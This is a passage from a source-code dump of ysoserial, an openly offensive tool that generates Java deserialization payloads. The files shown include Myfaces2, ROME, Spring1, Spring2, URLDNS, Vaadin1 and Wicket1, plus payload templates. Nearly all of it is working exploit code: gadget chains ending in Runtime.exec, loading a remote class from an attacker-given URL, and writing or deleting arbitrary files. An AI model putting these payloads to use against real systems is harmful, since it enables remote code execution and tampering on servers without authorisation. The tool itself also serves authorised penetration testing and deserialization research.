ValueExpressionMethodExpression(ve1); 84 | ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); 85 | ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); 86 | 87 | return Gadgets.makeMap(e2, e); 88 | } 89 | 90 | 91 | public static void main ( final String[] args ) throws Exception { 92 | PayloadRunner.run(Myfaces1.class, args); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Myfaces2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | 5 | import ysoserial.payloads.annotation.Authors; 6 | import ysoserial.payloads.annotation.PayloadTest; 7 | import ysoserial.payloads.util.JavaVersion; 8 | import ysoserial.payloads.util.PayloadRunner; 9 | 10 | 11 | /** 12 | * 13 | * ValueExpressionImpl.getValue(ELContext) 14 | * ValueExpressionMethodExpression.getMethodExpression(ELContext) 15 | * ValueExpressionMethodExpression.getMethodExpression() 16 | * ValueExpressionMethodExpression.hashCode() 17 | * HashMap.hash(Object) 18 | * HashMap.readObject(ObjectInputStream) 19 | * 20 | * Arguments: 21 | * - base_url:classname 22 | * 23 | * Yields: 24 | * - Instantiation of remotely loaded class 25 | * 26 | * Requires: 27 | * - MyFaces 28 | * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) 29 | * 30 | * @author mbechler 31 | */ 32 | @PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion") 33 | @Authors({ Authors.MBECHLER }) 34 | public class Myfaces2 implements ObjectPayload, DynamicDependencies { 35 | public static boolean isApplicableJavaVersion() { 36 | return JavaVersion.isAtLeast(7); 37 | } 38 | 39 | public static String[] getDependencies () { 40 | return Myfaces1.getDependencies(); 41 | } 42 | 43 | 44 | public Object getObject ( String command ) throws Exception { 45 | int sep = command.lastIndexOf(':'); 46 | if ( sep < 0 ) { 47 | throw new IllegalArgumentException("Command format is: :"); 48 | } 49 | 50 | String url = command.substring(0, sep); 51 | String className = command.substring(sep + 1); 52 | 53 | // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ 54 | String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; 55 | 56 | // if we add fewer than the actual classloaders we end up with a null entry 57 | for ( int i = 0; i < 100; i++ ) { 58 | expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; 59 | } 60 | expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" 61 | + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; 62 | 63 | return Myfaces1.makeExpressionPayload(expr); 64 | } 65 | 66 | 67 | public static void main ( final String[] args ) throws Exception { 68 | PayloadRunner.run(Myfaces2.class, args); 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/ObjectPayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.lang.reflect.Modifier; 5 | import java.util.Iterator; 6 | import java.util.Set; 7 | 8 | import org.reflections.Reflections; 9 | 10 | import ysoserial.GeneratePayload; 11 | 12 | 13 | @SuppressWarnings ( "rawtypes" ) 14 | public interface ObjectPayload { 15 | 16 | /* 17 | * return armed payload object to be serialized that will execute specified 18 | * command on deserialization 19 | */ 20 | public T getObject ( String command ) throws Exception; 21 | 22 | public static class Utils { 23 | 24 | // get payload classes by classpath scanning 25 | public static Set> getPayloadClasses () { 26 | final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); 27 | final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); 28 | for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { 29 | Class pc = iterator.next(); 30 | if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { 31 | iterator.remove(); 32 | } 33 | } 34 | return payloadTypes; 35 | } 36 | 37 | 38 | @SuppressWarnings ( "unchecked" ) 39 | public static Class getPayloadClass ( final String className ) { 40 | Class clazz = null; 41 | try { 42 | clazz = (Class) Class.forName(className); 43 | } 44 | catch ( Exception e1 ) {} 45 | if ( clazz == null ) { 46 | try { 47 | return clazz = (Class) Class 48 | .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); 49 | } 50 | catch ( Exception e2 ) {} 51 | } 52 | if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { 53 | clazz = null; 54 | } 55 | return clazz; 56 | } 57 | 58 | 59 | public static Object makePayloadObject ( String payloadType, String payloadArg ) { 60 | final Class payloadClass = getPayloadClass(payloadType); 61 | if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { 62 | throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); 63 | 64 | } 65 | 66 | final Object payloadObject; 67 | try { 68 | final ObjectPayload payload = payloadClass.newInstance(); 69 | payloadObject = payload.getObject(payloadArg); 70 | } 71 | catch ( Exception e ) { 72 | throw new IllegalArgumentException("Failed to construct payload", e); 73 | } 74 | return payloadObject; 75 | } 76 | 77 | 78 | @SuppressWarnings ( "unchecked" ) 79 | public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { 80 | if ( payload instanceof ReleaseableObjectPayload ) { 81 | ( (ReleaseableObjectPayload) payload ).release(object); 82 | } 83 | } 84 | 85 | 86 | public static void releasePayload ( String payloadType, Object payloadObject ) { 87 | final Class payloadClass = getPayloadClass(payloadType); 88 | if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { 89 | throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); 90 | 91 | } 92 | 93 | try { 94 | final ObjectPayload payload = payloadClass.newInstance(); 95 | releasePayload(payload, payloadObject); 96 | } 97 | catch ( Exception e ) { 98 | e.printStackTrace(); 99 | } 100 | 101 | } 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/ROME.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import javax.xml.transform.Templates; 5 | 6 | import com.sun.syndication.feed.impl.ObjectBean; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.util.Gadgets; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | 13 | /** 14 | * 15 | * TemplatesImpl.getOutputProperties() 16 | * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) 17 | * NativeMethodAccessorImpl.invoke(Object, Object[]) 18 | * DelegatingMethodAccessorImpl.invoke(Object, Object[]) 19 | * Method.invoke(Object, Object...) 20 | * ToStringBean.toString(String) 21 | * ToStringBean.toString() 22 | * ObjectBean.toString() 23 | * EqualsBean.beanHashCode() 24 | * ObjectBean.hashCode() 25 | * HashMap.hash(Object) 26 | * HashMap.readObject(ObjectInputStream) 27 | * 28 | * @author mbechler 29 | * 30 | */ 31 | @Dependencies("rome:rome:1.0") 32 | @Authors({ Authors.MBECHLER }) 33 | public class ROME implements ObjectPayload { 34 | 35 | public Object getObject ( String command ) throws Exception { 36 | Object o = Gadgets.createTemplatesImpl(command); 37 | ObjectBean delegate = new ObjectBean(Templates.class, o); 38 | ObjectBean root = new ObjectBean(ObjectBean.class, delegate); 39 | return Gadgets.makeMap(root, root); 40 | } 41 | 42 | 43 | public static void main ( final String[] args ) throws Exception { 44 | PayloadRunner.run(ROME.class, args); 45 | } 46 | 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface ReleaseableObjectPayload extends ObjectPayload { 9 | 10 | void release( T obj ) throws Exception; 11 | } 12 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Spring1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import static java.lang.Class.forName; 4 | 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Type; 8 | 9 | import javax.xml.transform.Templates; 10 | import org.springframework.beans.factory.ObjectFactory; 11 | 12 | import ysoserial.payloads.annotation.Authors; 13 | import ysoserial.payloads.annotation.Dependencies; 14 | import ysoserial.payloads.annotation.PayloadTest; 15 | import ysoserial.payloads.util.Gadgets; 16 | import ysoserial.payloads.util.JavaVersion; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | import ysoserial.payloads.util.Reflections; 19 | 20 | /* 21 | Gadget chain: 22 | 23 | ObjectInputStream.readObject() 24 | SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() 25 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 26 | AnnotationInvocationHandler.invoke() 27 | HashMap.get() 28 | ReflectionUtils.findMethod() 29 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 30 | AnnotationInvocationHandler.invoke() 31 | HashMap.get() 32 | ReflectionUtils.invokeMethod() 33 | Method.invoke() 34 | Templates(Proxy).newTransformer() 35 | AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() 36 | ObjectFactory(Proxy).getObject() 37 | AnnotationInvocationHandler.invoke() 38 | HashMap.get() 39 | Method.invoke() 40 | TemplatesImpl.newTransformer() 41 | TemplatesImpl.getTransletInstance() 42 | TemplatesImpl.defineTransletClasses() 43 | TemplatesImpl.TransletClassLoader.defineClass() 44 | Pwner*(Javassist-generated). 45 | Runtime.exec() 46 | 47 | */ 48 | 49 | @SuppressWarnings({"rawtypes"}) 50 | @PayloadTest ( precondition = "isApplicableJavaVersion") 51 | @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) 52 | @Authors({ Authors.FROHOFF }) 53 | public class Spring1 extends PayloadRunner implements ObjectPayload { 54 | 55 | public Object getObject(final String command) throws Exception { 56 | final Object templates = Gadgets.createTemplatesImpl(command); 57 | 58 | final ObjectFactory objectFactoryProxy = 59 | Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); 60 | 61 | final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 62 | Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") 63 | .newInstance(objectFactoryProxy), Type.class, Templates.class); 64 | 65 | final Object typeProviderProxy = Gadgets.createMemoitizedProxy( 66 | Gadgets.createMap("getType", typeTemplatesProxy), 67 | forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); 68 | 69 | final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); 70 | final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); 71 | Reflections.setFieldValue(mitp, "methodName", "newTransformer"); 72 | 73 | return mitp; 74 | } 75 | 76 | public static void main(final String[] args) throws Exception { 77 | PayloadRunner.run(Spring1.class, args); 78 | } 79 | 80 | public static boolean isApplicableJavaVersion() { 81 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Spring2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import static java.lang.Class.forName; 5 | 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Type; 8 | import javax.xml.transform.Templates; 9 | import org.springframework.aop.framework.AdvisedSupport; 10 | import org.springframework.aop.target.SingletonTargetSource; 11 | import ysoserial.payloads.annotation.Authors; 12 | import ysoserial.payloads.annotation.Dependencies; 13 | import ysoserial.payloads.annotation.PayloadTest; 14 | import ysoserial.payloads.util.Gadgets; 15 | import ysoserial.payloads.util.JavaVersion; 16 | import ysoserial.payloads.util.PayloadRunner; 17 | import ysoserial.payloads.util.Reflections; 18 | 19 | 20 | /** 21 | * 22 | * Just a PoC to proof that the ObjectFactory stuff is not the real problem. 23 | * 24 | * Gadget chain: 25 | * TemplatesImpl.newTransformer() 26 | * Method.invoke(Object, Object...) 27 | * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) 28 | * JdkDynamicAopProxy.invoke(Object, Method, Object[]) 29 | * $Proxy0.newTransformer() 30 | * Method.invoke(Object, Object...) 31 | * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) 32 | * 33 | * @author mbechler 34 | */ 35 | 36 | @PayloadTest ( precondition = "isApplicableJavaVersion") 37 | @Dependencies ( { 38 | "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", 39 | // test deps 40 | "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" 41 | } ) 42 | @Authors({ Authors.MBECHLER }) 43 | public class Spring2 extends PayloadRunner implements ObjectPayload { 44 | 45 | public Object getObject ( final String command ) throws Exception { 46 | final Object templates = Gadgets.createTemplatesImpl(command); 47 | 48 | AdvisedSupport as = new AdvisedSupport(); 49 | as.setTargetSource(new SingletonTargetSource(templates)); 50 | 51 | final Type typeTemplatesProxy = Gadgets.createProxy( 52 | (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), 53 | Type.class, 54 | Templates.class); 55 | 56 | final Object typeProviderProxy = Gadgets.createMemoitizedProxy( 57 | Gadgets.createMap("getType", typeTemplatesProxy), 58 | forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); 59 | 60 | Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); 61 | Reflections.setFieldValue(mitp, "provider", typeProviderProxy); 62 | Reflections.setFieldValue(mitp, "methodName", "newTransformer"); 63 | return mitp; 64 | } 65 | 66 | public static void main ( final String[] args ) throws Exception { 67 | PayloadRunner.run(Spring2.class, args); 68 | } 69 | 70 | public static boolean isApplicableJavaVersion() { 71 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/URLDNS.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.io.IOException; 4 | import java.net.InetAddress; 5 | import java.net.URLConnection; 6 | import java.net.URLStreamHandler; 7 | import java.util.HashMap; 8 | import java.net.URL; 9 | 10 | import ysoserial.payloads.annotation.Authors; 11 | import ysoserial.payloads.annotation.Dependencies; 12 | import ysoserial.payloads.annotation.PayloadTest; 13 | import ysoserial.payloads.util.PayloadRunner; 14 | import ysoserial.payloads.util.Reflections; 15 | 16 | 17 | /** 18 | * A blog post with more details about this gadget chain is at the url below: 19 | * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ 20 | * 21 | * This was inspired by Philippe Arteau @h3xstream, who wrote a blog 22 | * posting describing how he modified the Java Commons Collections gadget 23 | * in ysoserial to open a URL. This takes the same idea, but eliminates 24 | * the dependency on Commons Collections and does a DNS lookup with just 25 | * standard JDK classes. 26 | * 27 | * The Java URL class has an interesting property on its equals and 28 | * hashCode methods. The URL class will, as a side effect, do a DNS lookup 29 | * during a comparison (either equals or hashCode). 30 | * 31 | * As part of deserialization, HashMap calls hashCode on each key that it 32 | * deserializes, so using a Java URL object as a serialized key allows 33 | * it to trigger a DNS lookup. 34 | * 35 | * Gadget Chain: 36 | * HashMap.readObject() 37 | * HashMap.putVal() 38 | * HashMap.hash() 39 | * URL.hashCode() 40 | * 41 | * 42 | */ 43 | @SuppressWarnings({ "rawtypes", "unchecked" }) 44 | @PayloadTest(skip = "true") 45 | @Dependencies() 46 | @Authors({ Authors.GEBL }) 47 | public class URLDNS implements ObjectPayload { 48 | 49 | public Object getObject(final String url) throws Exception { 50 | 51 | //Avoid DNS resolution during payload creation 52 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. 53 | URLStreamHandler handler = new SilentURLStreamHandler(); 54 | 55 | HashMap ht = new HashMap(); // HashMap that will contain the URL 56 | URL u = new URL(null, url, handler); // URL to use as the Key 57 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 58 | 59 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 60 | 61 | return ht; 62 | } 63 | 64 | public static void main(final String[] args) throws Exception { 65 | PayloadRunner.run(URLDNS.class, args); 66 | } 67 | 68 | /** 69 | *

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. 70 | * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior 71 | * using the serialized object.

72 | * 73 | * Potential false negative: 74 | *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the 75 | * second resolution.

76 | */ 77 | static class SilentURLStreamHandler extends URLStreamHandler { 78 | 79 | protected URLConnection openConnection(URL u) throws IOException { 80 | return null; 81 | } 82 | 83 | protected synchronized InetAddress getHostAddress(URL u) { 84 | return null; 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Vaadin1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import javax.management.BadAttributeValueExpException; 4 | 5 | import com.vaadin.data.util.NestedMethodProperty; 6 | import com.vaadin.data.util.PropertysetItem; 7 | 8 | import ysoserial.payloads.annotation.Authors; 9 | import ysoserial.payloads.annotation.Dependencies; 10 | import ysoserial.payloads.annotation.PayloadTest; 11 | import ysoserial.payloads.util.Gadgets; 12 | import ysoserial.payloads.util.JavaVersion; 13 | import ysoserial.payloads.util.PayloadRunner; 14 | import ysoserial.payloads.util.Reflections; 15 | 16 | @Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" }) 17 | @PayloadTest ( precondition = "isApplicableJavaVersion") 18 | @Authors({ Authors.KULLRICH }) 19 | public class Vaadin1 implements ObjectPayload 20 | { 21 | // +-------------------------------------------------+ 22 | // | | 23 | // | BadAttributeValueExpException | 24 | // | | 25 | // | val ==> PropertysetItem | 26 | // | | 27 | // | readObject() ==> val.toString() | 28 | // | + | 29 | // +----------|--------------------------------------+ 30 | // | 31 | // | 32 | // | 33 | // +----|-----------------------------------------+ 34 | // | v | 35 | // | PropertysetItem | 36 | // | | 37 | // | toString () => getPropertyId().getValue () | 38 | // | + | 39 | // +---------------------------------------|------+ 40 | // | 41 | // +-----------------------------+ 42 | // | 43 | // +-----|----------------------------------------------+ 44 | // | v | 45 | // | NestedMethodProperty | 46 | // | | 47 | // | getValue() => java.lang.reflect.Method.invoke () | 48 | // | | | 49 | // +-------------------------------------------|--------+ 50 | // | 51 | // +-----------------------------------+ 52 | // | 53 | // +---|--------------------------------------------+ 54 | // | v | 55 | // | TemplatesImpl.getOutputProperties() | 56 | // | | 57 | // +------------------------------------------------+ 58 | 59 | @Override 60 | public Object getObject (String command) throws Exception 61 | { 62 | Object templ = Gadgets.createTemplatesImpl (command); 63 | PropertysetItem pItem = new PropertysetItem (); 64 | 65 | NestedMethodProperty nmprop = new NestedMethodProperty (templ, "outputProperties"); 66 | pItem.addItemProperty ("outputProperties", nmprop); 67 | 68 | BadAttributeValueExpException b = new BadAttributeValueExpException (""); 69 | Reflections.setFieldValue (b, "val", pItem); 70 | 71 | return b; 72 | } 73 | 74 | public static boolean isApplicableJavaVersion() { 75 | return JavaVersion.isBadAttrValExcReadObj(); 76 | } 77 | 78 | public static void main(final String[] args) throws Exception { 79 | PayloadRunner.run(Vaadin1.class, args); 80 | } 81 | 82 | } 83 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Wicket1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.io.File; 5 | import java.io.IOException; 6 | import java.io.OutputStream; 7 | import java.util.Arrays; 8 | 9 | import org.apache.commons.codec.binary.Base64; 10 | import org.apache.wicket.util.upload.DiskFileItem; 11 | import org.apache.wicket.util.io.DeferredFileOutputStream; 12 | import org.apache.wicket.util.io.ThresholdingOutputStream; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.annotation.PayloadTest; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | import ysoserial.payloads.util.Reflections; 19 | 20 | 21 | /** 22 | * This gadget is almost identical to FileUpload1 since it appears 23 | * that Apache Wicket copied a version of Apache Commons DiskFileItem 24 | * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That 25 | * means that if the target is running less than Oracle Java 7 update 40 26 | * then the NULL byte attack is viable. Otherwise, copy and move attacks 27 | * always work. 28 | * 29 | * This attack is valid for the 1.x and 6.x lines of Apache Wicket but 30 | * was fixed in 1.5.16 and 6.24.0 (released July 2016). 31 | * 32 | * 33 | * Arguments: 34 | * - copyAndDelete;sourceFile;destDir 35 | * - write;destDir;ascii-data 36 | * - writeB64;destDir;base64-data 37 | * - writeOld;destFile;ascii-data 38 | * - writeOldB64;destFile;base64-data 39 | * 40 | * Example: 41 | * Wicket1 "write;/tmp;blue lobster" 42 | * 43 | * Result: 44 | * $ ls -l /tmp/ 45 | * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp 46 | * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp 47 | * blue lobster 48 | */ 49 | @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition") 50 | @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) 51 | @Authors({ Authors.JACOBAINES }) 52 | public class Wicket1 implements ReleaseableObjectPayload { 53 | 54 | public DiskFileItem getObject(String command) throws Exception { 55 | 56 | String[] parts = command.split(";"); 57 | 58 | if (parts.length != 3) { 59 | throw new IllegalArgumentException("Bad command format."); 60 | } 61 | 62 | if ("copyAndDelete".equals(parts[0])) { 63 | return copyAndDelete(parts[1], parts[2]); 64 | } 65 | else if ("write".equals(parts[0])) { 66 | return write(parts[1], parts[2].getBytes("US-ASCII")); 67 | } 68 | else if ("writeB64".equals(parts[0]) ) { 69 | return write(parts[1], Base64.decodeBase64(parts[2])); 70 | } 71 | else if ("writeOld".equals(parts[0]) ) { 72 | return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); 73 | } 74 | else if ("writeOldB64".equals(parts[0]) ) { 75 | return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); 76 | } 77 | throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); 78 | } 79 | 80 | public void release(DiskFileItem obj) throws Exception { 81 | } 82 | 83 | private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { 84 | return makePayload(0, copyTo, copyAndDelete, new byte[1]); 85 | } 86 | 87 | // writes data to a random filename (update__.tmp) 88 | private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { 89 | return makePayload(data.length + 1, dir, dir + "/whatever", data); 90 | } 91 | 92 | // writes data to an arbitrary file 93 | private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { 94 | return makePayload(data.length + 1, file + "\0", file, data); 95 | } 96 | 97 | private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { 98 | // if thresh < written length, delete outputFile after copying to repository temp file 99 | // otherwise write the contents to repository temp file 100 | File repository = new File(repoPath); 101 | DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); 102 | File outputFile = new File(filePath); 103 | DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); 104 | OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); 105 | os.write(data); 106 | Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); 107 | Reflections.setFieldValue(diskFileItem, "dfos", dfos); 108 | Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); 109 | return diskFileItem; 110 | } 111 | 112 | public static void main ( final String[] args ) throws Exception { 113 | PayloadRunner.run(FileUpload1.class, args); 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/annotation/Authors.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | import java.lang.reflect.AnnotatedElement; 8 | 9 | @Target(ElementType.TYPE) 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface Authors { 12 | String FROHOFF = "frohoff"; 13 | String PWNTESTER = "pwntester"; 14 | String CSCHNEIDER4711 = "cschneider4711"; 15 | String MBECHLER = "mbechler"; 16 | String JACKOFMOSTTRADES = "JackOfMostTrades"; 17 | String MATTHIASKAISER = "matthias_kaiser"; 18 | String GEBL = "gebl"; 19 | String JACOBAINES = "jacob-baines"; 20 | String JASINNER = "jasinner"; 21 | String KULLRICH = "kai_ullrich"; 22 | String TINT0 = "_tint0"; 23 | String SCRISTALLI = "scristalli"; 24 | String HANYRAX = "hanyrax"; 25 | String EDOARDOVIGNATI = "EdoardoVignati"; 26 | String KORLR = "koalr"; 27 | 28 | String[] value() default {}; 29 | 30 | public static class Utils { 31 | public static String[] getAuthors(AnnotatedElement annotated) { 32 | Authors authors = annotated.getAnnotation(Authors.class); 33 | if (authors != null && authors.value() != null) { 34 | return authors.value(); 35 | } else { 36 | return new String[0]; 37 | } 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/annotation/Dependencies.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | import java.lang.reflect.AnnotatedElement; 8 | 9 | @Target(ElementType.TYPE) 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface Dependencies { 12 | String[] value() default {}; 13 | 14 | public static class Utils { 15 | public static String[] getDependencies(AnnotatedElement annotated) { 16 | Dependencies deps = annotated.getAnnotation(Dependencies.class); 17 | if (deps != null && deps.value() != null) { 18 | return deps.value(); 19 | } else { 20 | return new String[0]; 21 | } 22 | } 23 | 24 | public static String[] getDependenciesSimple(AnnotatedElement annotated) { 25 | String[] deps = getDependencies(annotated); 26 | String[] simple = new String[deps.length]; 27 | for (int i = 0; i < simple.length; i++) { 28 | simple[i] = deps[i].split(":", 2)[1]; 29 | } 30 | return simple; 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/annotation/PayloadTest.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.annotation; 2 | 3 | import java.lang.annotation.Retention; 4 | import java.lang.annotation.RetentionPolicy; 5 | 6 | /** 7 | * @author mbechler 8 | * 9 | */ 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface PayloadTest { 12 | String skip() default ""; 13 | 14 | String precondition() default ""; 15 | 16 | String harness() default ""; 17 | 18 | String flaky() default ""; 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/templates/ClassLoaderTemplate.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.templates; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Method; 6 | import java.net.URL; 7 | import java.net.URLClassLoader; 8 | import java.util.zip.GZIPInputStream; 9 | 10 | public class ClassLoaderTemplate { 11 | static String b64; 12 | 13 | static { 14 | try { 15 | GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(base64Decode(b64))); 16 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 17 | byte[] bs = new byte[4096]; 18 | int read; 19 | while ((read = gzipInputStream.read(bs)) != -1) { 20 | byteArrayOutputStream.write(bs, 0, read); 21 | } 22 | byte[] bytes = byteArrayOutputStream.toByteArray(); 23 | ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 24 | Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 25 | defineClass.setAccessible(true); 26 | Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); 27 | invoke.newInstance(); 28 | } catch (Exception e) { 29 | // e.printStackTrace(); 30 | } 31 | } 32 | 33 | public static byte[] base64Decode(String bs) throws Exception { 34 | Class base64; 35 | byte[] value = null; 36 | try { 37 | base64 = Class.forName("java.util.Base64"); 38 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); 39 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 40 | } catch (Exception e) { 41 | try { 42 | base64 = Class.forName("sun.misc.BASE64Decoder"); 43 | Object decoder = base64.newInstance(); 44 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 45 | } catch (Exception e2) { 46 | } 47 | } 48 | return value; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/templates/CommandTemplate.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads.templates; 2 | 3 | import java.io.IOException; 4 | 5 | public class CommandTemplate { 6 | static String cmd; 7 | 8 | static { 9 | 10 | String[] cmds = new String[3]; 11 | 12 | try { 13 | if (System.getProperty("os.name").toLowerCase().contains("win")) { 14 | cmds[0] = "cmd"; 15 | 